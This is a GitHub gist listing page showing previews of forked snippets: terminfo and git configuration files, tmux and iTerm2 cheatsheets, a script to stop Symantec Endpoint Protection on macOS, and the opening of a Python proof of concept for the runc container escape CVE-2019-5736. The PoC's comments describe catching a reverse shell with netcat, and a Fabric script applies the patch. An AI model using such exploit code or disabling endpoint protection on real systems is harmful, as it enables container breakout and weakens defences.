Skip to content

Instantly share code, notes, and snippets.

@optionalg
optionalg / xterm-256color-italic.terminfo
Created July 29, 2019 11:25 — forked from sos4nt/xterm-256color-italic.terminfo
A xterm-256color based TERMINFO that adds the escape sequences for italic
# A xterm-256color based TERMINFO that adds the escape sequences for italic.
#
# Install:
#
# tic xterm-256color-italic.terminfo
#
# Usage:
#
# export TERM=xterm-256color-italic
#
@optionalg
optionalg / tmux-cheatsheet.markdown
Created July 29, 2019 00:37 — forked from MohamedAlaa/tmux-cheatsheet.markdown
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@optionalg
optionalg / README.md
Created June 13, 2019 10:22 — forked from steve-jansen/README.md
Stop and start Symantec Endpoint Protection on OS X

This script enables you stop and start Symantec Endpoint Protection on OS X

Installation

sudo curl https://gist.githubusercontent.com/steve-jansen/61a189b6ab961a517f68/raw/sep -o /usr/local/bin/sep
sudo chmod 755 /usr/local/bin/sep
sudo chown root:staff /usr/local/bin/sep
@optionalg
optionalg / iterm2.md
Created February 28, 2019 02:53 — forked from squarism/iterm2.md
iterm2 cheatsheet

Tabs and Windows

Function Shortcut
New Tab + T
Close Tab or Window + W (same as many mac apps)
Go to Tab + Number Key (ie: ⌘2 is 2nd tab)
Go to Split Pane by Direction + Option + Arrow Key
Cycle iTerm Windows + backtick (true of all mac apps and works with desktops/mission control)
@optionalg
optionalg / .gitconfig
Created February 26, 2019 00:56 — forked from pyrtsa/.gitconfig
Best bits of my Git config
[user]
# name = Your Name ### Your name, obviously. Not mine.
# email = your.name@example.com
[core]
# editor = mate -w ### Use whatever you like.
excludesfile = ~/.gitignore ### Global ignore file for .DS_Store files etc
pager = less -+FRSX -FRX ### Make "git diff" nicer to browse
[color]
ui = auto ### Make things show up in color
[log]
@optionalg
optionalg / gitconfig.ini
Created February 26, 2019 00:56 — forked from tdd/gitconfig.ini
Nice, useful global Git configuration
# Put this in your ~/.gitconfig or ~/.config/git/config
# Windows users: "~" is your profile's home directory, e.g. C:\Users\<YourName>
[user]
name = Your Full Name
email = your@email.tld
[color]
# Enable colors in color-supporting terminals
ui = auto
[alias]
st = status
@optionalg
optionalg / .gitconfig
Created February 26, 2019 00:55 — forked from rab/.gitconfig
A good starting point for ~/.gitconfig
# -*- Conf -*-
[color]
branch = auto
diff = auto
status = auto
showbranch = auto
ui = true
# color.branch
# A boolean to enable/disable color in the output of git-branch(1). May be set to always, false (or
@optionalg
optionalg / cve-2019-5736.py
Created February 15, 2019 09:34 — forked from singe/cve-2019-5736.py
PoC for CVE-2019-5736 in Python
#!/bin/python3
# Silly PoC for CVE-2019-5736 in Python by @singe (with help from @_staaldraad, @frichette_n & @_cablethief)
# Target will need a python3 interpreter
# Edit IP info below, on the host run a netcat to catch the reverse shell
# Run this python file in the container
# Then from the host: docker exec -i <container name> /tmp/evil
import os
import stat
host='172.17.0.1'
@optionalg
optionalg / fabfile.py
Created February 15, 2019 08:21 — forked from cmattoon/fabfile.py
CVE-2019-5736 - Apply patch with Fabric
#!/usr/bin/env python
import os
from fabric import Connection
# kubectl get nodes | grep ip | cut -d'-' -f2,3,4,5 | cut -d'.' -f1 | sed 's/-/./g' | xargs echo | sed s'/ /",\"/g'
def getConnection(host):
return Connection(host=host,
user='admin',
connect_kwargs={
root@strigazi-kubeadm-cluster-02:/home/ubuntu# strings /usr/bin/docker-runc | tail -n5
.debug_str
.debug_loc
.debug_pubtypes
.debug_ranges
.debug_gdb_scripts
root@strigazi-kubeadm-cluster-02:/home/ubuntu# sha256sum /usr/bin/docker-runc
6cd5b2d83cfe84fc59947cf4a17898ebfd03d61e13ce0dc179be787b77104a3a /usr/bin/docker-runc
root@strigazi-kubeadm-cluster-02:/home/ubuntu# /usr/bin/docker-runc --version
runc version 1.0.0-rc5+dev